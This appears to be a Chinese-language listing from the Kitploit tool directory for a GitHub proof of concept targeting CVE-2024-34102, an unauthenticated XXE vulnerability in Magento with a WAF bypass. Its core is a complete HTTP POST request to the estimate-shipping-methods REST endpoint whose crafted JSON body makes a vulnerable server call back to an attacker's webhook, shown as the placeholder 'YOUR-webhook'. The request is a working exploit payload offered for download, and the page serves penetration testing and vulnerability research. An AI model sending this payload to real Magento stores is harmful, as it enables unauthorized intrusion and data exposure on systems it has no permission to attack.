Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-34102 — CVE-2024-34102 的概念验证,利用未认证的 Magento XXE 并通过 WAF 绕过,向 estimate-shipping-methods 端点发送精心构造的请求,并将 HTTP 回调返回至攻击者的 webhook。 | Kitploit
工具/GitHubGitHub/11whoami99/cve-2024-34102
漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过渗透测试
GitHub11whoami99/cve-2024-34102

CVE-2024-34102

CVE-2024-34102 的概念验证,利用未认证的 Magento XXE 并通过 WAF 绕过,向 estimate-shipping-methods 端点发送精心构造的请求,并将 HTTP 回调返回至攻击者的 webhook。

查看仓库
322年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-34102

CVE-2024-34102 的 PoC:未身份验证的 Magento XXE 及绕过 WAF,你将在你的 webhook 上收到 HTTP 连接

root@kitploit:~
POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2
Host: example.com
Accept:  application/json, text/javascript, */*; q=0.01
Content-Length: 310
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

{
  "address": {
    "totalsCollector": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "http://YOUR-webhook",
            "dataIsURL": true,
            "options": 1337
          }
        }
      }
    }
  }
}
下载工具